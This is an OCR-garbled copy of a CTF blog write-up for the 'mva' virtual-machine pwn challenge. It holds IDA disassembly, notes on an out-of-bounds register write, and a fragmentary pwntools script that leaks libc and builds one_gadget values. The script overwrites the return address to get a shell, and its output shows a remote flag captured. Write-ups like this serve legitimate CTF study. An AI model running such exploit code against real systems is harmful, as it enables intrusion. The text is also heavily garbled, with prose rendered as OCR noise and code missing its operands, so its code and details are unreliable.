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yongbaoii B2 F 2022-03-23 20:48:20 &2 4043 R
FRLE: CTF XERE: MBEE

F 2022-03-21 17:15:00 R K A

R B A SONTEEREISCE, BIE.CC 4.0 BY-SA MRAIMN, F8iE M LR SCH AMBEEMA .
ACHERE: https://blog.csdn.net/yongbaoii/article/details/123626252

FRAL

CTF LA % Py %
213 RWXET T

ARy =

457 M dockerih i

B 2 St 2 5 R URFA B 2 ubuntu20.04

R R 2%

[*] '/home/desh@ng/Desktop/mva’
Arch: amd64-64-1little
RELRO:

Stack:
NX:
PIE:

| \ » » J
unsigned __ intl6 v4; //

sub_1277(=a1, s );

puts("[+] Welcome to MVA, input your code now :"};
fread(&unk_4048, 8x10@ulLlL, 1ulLl, stdin);

puts("[+] MVA is starting ...");

while ( 1)

{
= (( (")( 1 (( Y&sub_11E8 + 1))() >> 24;
if ( > BxFu )
break;
if ( <= @xFu )
__asm { jmp rax }

¥
puts("[+] MVA is shutting down ...");
return BLL;
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BATERE T ELB 2

8901304 mov eax, eax |

20813D6 lea rdx, ds:@[rax*4]

20013DE lea rax, unk_ 286C

2BB13ES mov eax, [rdx+rax]

POB13ES cdge

POB13EA lea rdx, unk_286C

20013F1 add rax, rdx

A0013F4 db 3Eh

ARE13F4 jmp rax _

POOLI3FT ; — - CSDN @yongiacil

RIFF a6 Hiraxe BATm AN 75
F TR hk st 206¢ + [rax * 4 + 206¢]

rodata:P0pORARARARA20GE align 4

rodata:000000000000206C dword 206C dd @FFFFF38Bh : DATA XREF:
rodata:020000000000206( : main+l4@to
rodata:0000000000002070 dd @FFFFF399h
rodata:0000000000002074 dd @FFFFF3D2h
rodata:0000000000002078 dd OFFFFF466h
rodata:020000000000207C dd OFFFFF4F@h
rodata:0200000000002030 dd @FFFFF57Eh
rodata:0200000000002084 dd OFFFFF&@Ch
rodata:0000000000002088 dd OFFFFF&86h
rodata:020000000000208C dd @FFFFF714h

rodata: 0000000000002090 dd @FFFFF735h

rodata: 0200000000002094 dd @FFFFF7A7h
rodata:0000000000002098 dd OFFFFF8@Ah
rodata:020000000008209C dd @FFFFF83%h

rodata: 00000000000020A0 dd OFFFFF8B4h

rodata: 00000000000020A4 dd @FFFFF940h
rodata:00000000000020A8 | dd @FFFFF994h . -
rodata:00000000000020A8 rodata ends LSDN @yongpaoll
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.text :0000000000001421 movsx  eax, [rbp+var_249]
.text :0000000000001428 cdge
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. text : 000000000014 2A [rbp+var_23E]
. text:0000000000001431 ptr [rbp+rax*2+var_21C], dx

3 ANFHIRA S AN FH AT SH21cRE

249 248 247 #ENO-5

0000000000001492 loc_1492 ; CODE XREF: main+1DCTj
0000000000001492 eax, var_248]
0000000000001499

000000000000149B ecx, ptr [rbp+rax*2+var_21C]
00000000V 14A3 eax, var_247]
00000000V 14AA

00000000000014AC edx, ptr [rbp+rax*2+var_21C]
00000000000014B4 eax, var_249]
00000000000014BB edx,

00000000000014BD

000000000000 14BF word ptr [rbp+rax*2+var_21C], dx
00000000000014C7 loc_1A2B

« 247 {EEUVHSRINAESRETE249

[k
0000000000001520 loc_1520 ; CODE XREF: main+26ATj
0000000000001520 eax, var_248]
0000000000001527
0000000000001529 ecx, ptr [rbp+rax*2+var_21C]
0000000000001531 eax, var_247]
0000000000001538

000000000000153A edx, ptr [rbp+rax*2+var_21C]
0000000000001542 eax, var_249]
0000000000001549 ecx,

000000000000154B edx,

000000000000154D

000000000000154F word ptr [rbp+rax*2+var_21C], dx
0000000000001557 loc_1A2B

247 THAE249

00000000000 15B0 loc_15B0O ; CODE XREF: main+2FATj
0000000V 15BO eax, var_2438]
0000000V 15B7

00000000000015B9 ecx, ptr [rbp+rax*2+var_21C]
00000000000015C1 eax, var_247]
00000000VLV15C8

000000000000 15CA edx, ptr [rbp+rax*2+var_21C]
00000000000015D2 eax, var_249]
0000000000V15D9 edx,

00000000000015DB

00000000000015DD word ptr [rbp+rax*2+var_21C], dx
00000V 15ES loc_1A2B

248 JHTE249




0000000LVV163E
0000000000001645
0000000000001647
0000000LLVV164F
000000001656
0000000000001658
000000000VV1660
00000000000V01667
0000000000VV1669
0000000000V0166B
0000000000001673

248 JHAE249

24837 LA
00PRRRRRRRRR16B0
000PRRERRRRR16B0
00PRRRRRRRRR16B7
00PRRRRRRRRA16B9
000PRREEREER16C1
000PRRRERRRA16C4
00PRRRRRRRRR16CB
000REREEEEEA16CD
000RRRRRERRA16DS5
000PRRRRERRA16DS
000PRRREEAAA16DA
000RREREEERA16DC
00PRRRRRRRRR16E3
00PRRRRRRRRR16ES
P0RRRRRRRRRA16ED

248 JHTE249

249 248 247

.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text

0000000000001746
000000000000174D
000000000001 74F
0000000000001757
000000000000175E
0000000000001760
0000000000001768
000000000VV176F
0000000000001771
0000000000001773
000000000000177B

248 REL 247 AE 249

0000000000001780
0000000000001785
000000000000178A
0000000000001790
0000000000001796
000000000000179C

loc_16Bo

eax, var_2438]

ecx, ptr [rbp+rax*2+var_21C]

eax, var_247]

edx, ptr [rbp+rax*2+var_21C]
eax, var_249]

edx,

word ptr [rbp+rax*2+var_21C], dx
loc_1A2B

; CODE XREF: main+3FATj
eax, [rbp+var_249]

eax, word ptr [rbp+rax*2+var_21C]
edx, ax

eax, [rbp+var_248]

eax, word ptr [rbp+rax*2+var_21C]
eax, ax

ecx, eax

edx, cl

eax, [rbp+var_249]

word ptr [rbp+rax*2+var_21C], dx
loc_1A2B

eax, var_248]

ecx, ptr [rbp+rax*2+var_21C]
eax, var_247]

edx, ptr [rbp+rax*2+var_21C]
eax, var_249]
edx,

word ptr [rbp+rax*2+var_21C], dx
loc_1A2B

eax, ©

sub_11E9
[rbp+var_2347], eax
eax, [rbp+var_234]
cs:dword_403C, eax
loc_1A2B




i — 2k H8 2 TE403C
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0000000000001 7A1 rax, [rbp+var_230]

00000000V 17A8 rax, 100h

000000001 7AE j short loc_17BA

0000000000001 7BO edi, © ; status
000000001 7B5 _exit

0000000RVVRO17BA ;

0000000000001 7BA

00000000001 7BA loc_17BA ; CODE XREF: main+5041]j
00000000000017BA [rbp+var 249], @

00000000000017C1 short loc_17E6

00000000000017C3 edx, [rbp+var_249]
00000000000017CA rax, [rbp+var_230]
00000000000017D1 rdx, edx

00000000000017D4 edx, word ptr [rbp+rdx*2+var_21C]

.text:00000000000017DC [rbp+rax*2+var_210], dx

.text :00000000000017E4 short loc_17FC

.text :00000000000017E6

.text :00000000000017E6

.text:00000000000017E6 loc_17E6 ; CODE XREF: main+5171j
.text :00000000000017E6 [rbp+var_230]

.text :00000000000017ED [rbp+var_23E]

.text :00000000000017F4 rax*2+var_210], dx

.text :00000000000017FC

.text:00000000000017FC loc_17FC ; CODE XREF: main+53At1j
.text :00000000000017FC rax, [rbp+var 230]

.text :0000000000001803 rax, 1

.text :0000000000001807 [rbp+var_230], rax

.text : 000000000000 180E loc_1A2B
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.text :0000000000001845 loc_1845 ; CODE XREF: main+58F1j
.text :0000000000001845 mov rax, [rbp+var_230]

.text :000000000000184C sub rax, 1

.text :0000000000001850 mov [rbp+var_230], rax

.text :0000000000001857 movsx  ecx, [rbp+var_249]

.text :000000000000185E movzx  edx, [rbp+rax*2+var_210]
.text:0000000000001866 movsxd rax, ecx

.text :0000000000001869 mov word ptr [rbp+rax*2+var_21C], dx

.text :0000000000001871 jmp loc_1A2B




A9 N 5210 B E21C
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.text :0000000000001876 eax, ©
.text:000000000000187B sub_11E9

.text :0000000000001880 [rbp+var_238], eax
.text : 0000001886 [rbp+var 2467, 1
.text :000000000000188E loc_1A2A

.text :0000000000001894 eax, [rbp+var_238]
.text :000000000000189A cs:dword_403C, eax
.text :00000000000018A0 loc_1A2A

246 91— 2R 4R TRAE238

X5 TAEAB3C

248 0-5

00000000000018DD loc_18DD ; CODE XREF: main+6271j
00000000000018DD eax, [rbp+var_249]
00000000000018E4

000000V 18EL edx, word ptr [rbp+rax*2+var_21C]
00000000V 18EE eax, [rbp+var_248]
0000000000VO18F5

0000000000V 18F7 eax, word ptr [rbp+rax*2+var_21C]
0000000V 18FF dx, ax

0000000000001902 short loc_1912

0000000000001904 [rbp+var_246], 1

000000000000190D loc_1A2B

0000000000001912 [rbp+var_246], ©
000000000000191B loc_1A2B

248 H SR EL

d 249 247 ©-5

.text :0000000000001974 loc_1974 ; CODE XREF: main+6BET]
.text:0000000000001974 eax, var_248]

.text :000000000000197B

.text :000000000000197D ecx, ptr [rbp+rax*2+var_21C]
.text :0000000000001985 eax, var_247]

.text :000000000000198C

.text :000000000000198E edx, ptr [rbp+rax*2+var_21C]
.text :0000000000001996 eax, var_249]

.text :000000000000199D edx,

.text :00000000000019A0

.text :00000000000019A2 word ptr [rbp+rax*2+var_21C], dx
.text :00000000000019AA short loc_1A2B




.text : 000PPPPPOOOO1IAC [rbp+var 2497, 5

.text:00000000000019B3 j short loc_19BE

.text : 00PPPPPOOOOO19B5 [rbp+var_249], ©

.text :00000000000019BC short loc_19C8

.text :00000000000019BE

.text :00000000000019BE loc_19BE ; CODE XREF: main+7091j
.text :00000000000019BE ; status
.text:00000000000019C3

.text :00000000000019C8

.text :00000000000019C8

.text :00000000000019C8 loc_19C8 ; CODE XREF: main+7121j
.text :00000000000019C8 cmp [rbp+var_248], 5

.text :00000000000019CF jle short loc_19DB

.text :00000000000019D1 mov edi, O ; status

.text :00000000000019D6 call _exit

.text:00000000000019DB

.text:00000000000019DB

.text:00000000000019DB loc_19DB ; CODE XREF: main+72571j
.text:00000000000019DB movsx  eax, [rbp+var_249]

.text :00000000000019E 2 movsx  ecx, [rbp+var_248]
.text:00000000000019E9 cdge

.text:00000000000019EB movzx  edx, word ptr [rbp+rax*2+var_21C]

.text :00000000000019F 3 movsxd rax, ecx

.text:00000000000019F6 mov word ptr [rbp+rax*2+var_21C], dx

.text :00000000000019FE jmp short loc_1A2B

248 RNV T AN

249JHTE248F S 21cHithTs

i #8248 HLEE
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BHEH? ? ?

.text :0000000000001A00 rax, [rbp+var_230]

.text :0000000000001A07 eax, [rbp+rax*2+var_210]
.text :0000000000001A0F eax, ax
.text:0000000000001A12 esi,
.text:0000000000001A14 rdi, aD
.text:0000000000001A1B eax, ©

.text :0000000000001A20 _printf

.text :0000000000001A25 short loc_1A2B

23075 7FE2107 % B
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48 maon
mon
maon
mon
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mon

call

BATFIF_libe_start_main £ i — 1 gadget

t
t:
t:
t

b ADE A
) ® @ ® @

BERRAFGRELAEHANFT, FIUXESBELEANFN, HEii1/16
SR G 55 Rt B B SimaineR BUR [Bl Hi bk one_gadgetit vl L T
exp

from pwn import
context.log_level

i process(
r remote( , 38229)
#gdb.attach(r,

#21c[0] 0x10c
#21c[-10] = 21c[0]
#printf(libc)
#21c[0] exied
#21c[-10] = 21c[0]
#printf(libc)
#21c[0] 0x10e
#21c[-10] = 21c[0]
#printf(libc)

0x010c
21c([0]
0x0000
21c([0]
0x0000
21c([9]
0x8000
21c([9]

#call main
, payload.ljust(0x100,

)

S r.recvuntil( )[:-1]
Ss r.recvuntil( )[:-1]
Sss r.recvuntil( )[:-1]




ttone_gadget libc_base oxe3b2e
one_gadget libc_base Oxe3b31
libc_base Oxe3b34
hex(libc_base))
hex(one_gadget))

#21c[0] 0x010c
#21c[-10] = 21c[0]
#21c[0] 0Xx0000
#21c[-9] = 21c[0]
#21c[0] 0Xx0000
#21c[-8] = 21c[0]
#21c[0] 0x38000
#21c[-7] 21c[9]

C O ©C ©C O ©C ©C T O

p8( (one_gadget (oxff00)) ) p8(one_gadget oxff) #shell

#21c[0] oxe1ed
#21c[-10] 21c[@]
#21c[0] 0x0000
#21c[-9] = 21c[0]
#21c[0] 0x0000
#21c[-8] = 21c[0]
#21c[0] 0x8000
#21c[-7] = 21c[0]

O O ©C ©C ©C ©C ©C O

p8( (one_gadget (0xff000000) ) 24) p8( (one_gadget (0xff0000)) 16 ) #shell
#tget shell

, payload.ljust(©x1e0, b

] Sent 0x9 bytes:
b'cat flag\n'
[ ] Received 0x40 bytes:
b'HFCTF{M4st3r_Of_wvmmv_Mavm44mV4av4m_bO3mtxEed4145fdsdkz9DPWNcO2d}\n'
HFCTF{M4st3r_®f_vmmv_Mavm44mv4av4m_b03mtxEe4i45fdsdkz‘}DPchsz@SDh @yongbaoii
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